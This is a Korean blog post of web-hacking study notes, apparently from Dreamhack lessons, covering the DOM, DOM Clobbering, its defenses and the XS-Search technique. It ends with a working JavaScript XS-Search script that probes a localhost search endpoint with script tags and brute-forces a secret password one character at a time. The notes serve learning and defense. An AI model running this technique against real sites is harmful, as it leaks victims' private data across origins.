본문 바로가기

웹해킹

DOM & Javascript

DOM은 브라우저가 HTML 문서를 관리하기 위해 사용되는 객체 모델이다. 

var elem = document.getElementById("name");
elem.innerText = "My name is dream";
var div_elem = document.createElement("div");
var text_node = document.createTextNode("Welcome to dreamhack");
div_elem.appendChild(text_node);

DOM에 있는 element의 값을 수정하는 코드이다.

 

DOM Clobbering은 id, name등 HTML의 식별자를 이용해 js에서 DOM 객체들의 속성과 메소드 등을 변조하는 기법이다.

document.getElementById()를 사용하지 않고도 그냥 id를 변수처럼 사용할 수 있다.

<a id="link1" href="https://host"> host <a>

여기서 link1 id가 정의되어 있을 때 그냥 link1이라고 치면 link1속성을 가지는 저 <a> 태그가 나온다.

 

DOM을 방어하는 방법에는 간접적 메소드 호출 및 메소드 사용, DOMPurify 등의 라이브러리 사용이 있다.

 

Cross-Site Search(XS-Search)는 공격 대상 오리진에 스크립트를 삽입하거나 해당 페이지를 직접 방문하지 않고 피해자가 공격자가 의도한 서버에 접속하는 것만으로도 공격 대상 오리진의 비밀 정보를 얻을 수 있는 강력한 공격기법이다.

 

XS-Search는 SOP에 구애 받지 않는 img, style, script 등의 태그를 이용해 공격한다. 

function req(url) {
    let script = document.createElement('script');
    script.src = url;
    script.onload = () => console.log(200);
    script.onerror = () => console.log(404);
    document.head.appendChild(script);
}

req('http://localhost:8000/search?query=a');
req('http://localhost:8000/search?query=t');

script 태그를 이용해 SOP를 우회하는 예시이다.

 

async function req(url) {
    return await new Promise((resolve, reject) => {
        const script = document.createElement("script");
        script.src = url;
        script.onload = resolve;
        script.onerror = reject;

        document.head.appendChild(script);
    });
}

async function search(query) {
    try {
        await req(
          `http://localhost:8000/search?query=${query}`
        );
        return true;
    } catch (e) {
        return false;
    }
}

async function exploit() {
    let chars = "_abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    let secret_length = 20;
    let secret = "";

    for (let i = 0; i < secret_length; i++) {
        for (let c of chars) {
            if (await search(secret + c)) {
                secret += c;
                console.log(`found: ${secret}`);
                break;
            }
        }
    }
}

exploit()

이 코드는 XS-Search를 이용해 비밀번호를 가져오는 코드이다.

 

'웹해킹' 카테고리의 다른 글

드림핵 DOM XSS 롸업  (0) 2023.11.26
드림핵 XS-Search 롸업  (0) 2023.11.26
드림핵 Relative Path Overwrite Advanced 롸업  (0) 2023.11.26
드림핵 Relative Path Overwrite 롸업  (0) 2023.11.26
Relative Path Overwrite  (0) 2023.11.26